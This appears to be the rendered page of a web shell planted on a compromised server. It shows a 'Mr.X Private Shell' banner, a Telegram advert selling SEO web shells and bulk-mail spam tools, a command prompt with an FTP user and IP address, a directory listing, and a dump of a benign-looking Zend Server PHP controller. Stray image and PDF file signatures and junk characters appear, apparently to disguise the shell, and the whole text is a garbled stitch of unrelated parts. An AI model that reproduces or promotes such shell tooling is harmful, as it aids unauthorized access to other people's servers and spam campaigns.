xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration\Controller;

use ZendServer\Mvc\Controller\ActionController;
use ZendServer\Exception;
use ZendServer\Configuration\Manager;
use ZendServer\FS\FS;

class LicenseController extends ActionController
{

    public function indexAction()
    {
        $licenseMapper          = $this->getLocator('Configuration\License\ZemUtilsWrapper'); /* @var $licenseMapper \Configuration\License\ZemUtilsWrapper */
        $licenseInfo            = $licenseMapper->getLicenseInfo();
        $edition                = $licenseMapper->getLicenseType();
        $serversMapper          = $this->getLocator('Servers\Db\Mapper'); /* @var $serversMapper \Servers\Db\Mapper */
        $currentNumberOfServers = $serversMapper->countAllServers();

        $capabilitiesMap = $this->capabilitiesList()->getCapabilitiesList();
        $changesMatrix   = $this->capabilitiesList()->getChangesMatrix();

        $isEvaluation = $licenseInfo->isEvaluation();
        $manager      = new Manager();

        $extraParams = \Application\Module::config('license', 'zend_gui', 'extra');

        return array('pageTitle' => 'License',
            'pageTitleDesc' => '', /* Daniel */
            'license' => $licenseInfo,
            'osType' => $manager->getOsType(),
            'edition' => $edition,
            'daysToExpired' => $licenseMapper->getLicenseExpirationDaysNum(),
            'numberOfServers' => $currentNumberOfServers,
            'licenseChangeEffects' => $changesMatrix,
            'capabilitiesMap' => $capabilitiesMap,
            'extraParams' => $extraParams,
            'isEvaluation' => $isEvaluation,
        );
    }

    public function licenseInfoAction()
    {
        $licenseMapper                  = $this->getLocator('Configuration\License\ZemUtilsWrapper'); /* @var $licenseMapper \Configuration\License\ZemUtilsWrapper */
        $licenseInfo                    = $licenseMapper->getLicenseInfo()->toArray();
        $licenseInfo['changesMatrix']   = $this->capabilitiesList()->getChangesMatrix();
        $licenseInfo['capabilitiesMap'] = $this->capabilitiesList()->getCapabilitiesList();

        // get the EULA text (taken from LoginController)
        try {
            $eulaFile = FS::getFileObject(FS::createPath(getCfgVar('zend.install_dir'), 'doc', 'EULA.txt'))->readAll();
            /// Replace strings that end with a single newline with the same string that end with a space.
            /// In other words, replace the trailing *single* newline with a space character.
            /// Do NOT replace the newline if it is immediately followed by another newline.
            $eulaFile = preg_replace("#([^\\n]+)\\n(?!\\n)#m", "$1 ", $eulaFile);
        } catch (\Exception $e) {
            $eulaFile = '';
            Log::notice("Could not retrieve Eula content for display: {$e->getMessage()}");
        }

        $licenseInfo['eulaText'] = $eulaFile;

        //$licenseInfo['negativeCapabilitiesLabels'] = $this->capabilitiesLabels()->getNegativeLabels();
        //$licenseInfo['positiveCapabilitiesLabels'] = $this->capabilitiesLabels()->getPositiveLabels();

        $viewModel = new \Zend\View\Model\ViewModel ();
        $viewModel->setTerminal(true);
        $viewModel->setTemplate('configuration/license/license-info');

        $viewModel->license = $licenseInfo;

        /* Retrieve ACL's for frontend */
        $manager       = $this->getServiceLocator()->get('ModuleManager');
        $loadedModules = $manager->getLoadedModules();
        $userLimits    = $loadedModules['Application']->currentIdentityAllowed;

        $config  = $this->getServiceLocator()->get('config');
        $edition = strtoupper($this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->getEdition());

        $myEditionLimits = array();
        foreach ($config['license']['acl'] as $aclName => $acl) {
            foreach ($acl as $action => $isAllowed) {
                if ($isAllowed === true) {
                    unset($myEditionLimits[$action]);
                } else {
                    $myEditionLimits[$action] = $isAllowed;
                }
            }
            if ($aclName == $edition) {
                break;
            }
        }

        $acls = array('authentication' => array('simple' => \Application\Module::config('authentication')->simple == 1 ? true
                    : false), 'userAllowed' => $userLimits, 'edition' => $edition, 'editionLimits' => $myEditionLimits);
        /* EOF Acl's */

        $viewModel->acls = $acls;

        return $viewModel;
    }

    /**
     * Download the EULA file
     * @return
     */
    public function downloadEulaAction()
    {
        $eulaFilePath = FS::createPath(getCfgVar('zend.install_dir'), 'doc', 'EULA.txt');
        if (file_exists($eulaFilePath) && is_readable($eulaFilePath)) {

            // read file contents
            $theFile = FS::getFileObject($eulaFilePath);
            $content = $theFile->fread($theFile->getSize());

            $response = $this->getResponse();
            $response->setStatusCode(\Zend\Http\Response::STATUS_CODE_200);
            $response->setContent($content);

            $headers   = array();
            $headers[] = "Content-Disposition: attachment; filename=\"{$theFile->getFilename()}\"";
            $headers[] = "Content-type: application/vnd.zend.serverconfig";
            $headers[] = "Content-Length: {$theFile->getSize()}";

            $headersToSend = new \Zend\Http\Headers();
            $headersToSend->addHeaders($headers);
            $response->setHeaders($headersToSend);

            return $response;
        } else {
            throw new \Exception('EULA file is not accessible');
        }
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
ExtensionsController.php File 1.57 KB 0644
LicenseController.php File 5.6 KB 0644
ServerInfoController.php File 1.2 KB 0644
SessionClusteringController.php File 3.17 KB 0644
WebAPI114Controller.php File 7.9 KB 0644
WebAPI115Controller.php File 5.24 KB 0644
WebAPI12Controller.php File 2.02 KB 0644
WebAPIController.php File 110.19 KB 0644
ZendComponentsController.php File 1.43 KB 0644
ZendMonitorController.php File 323 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1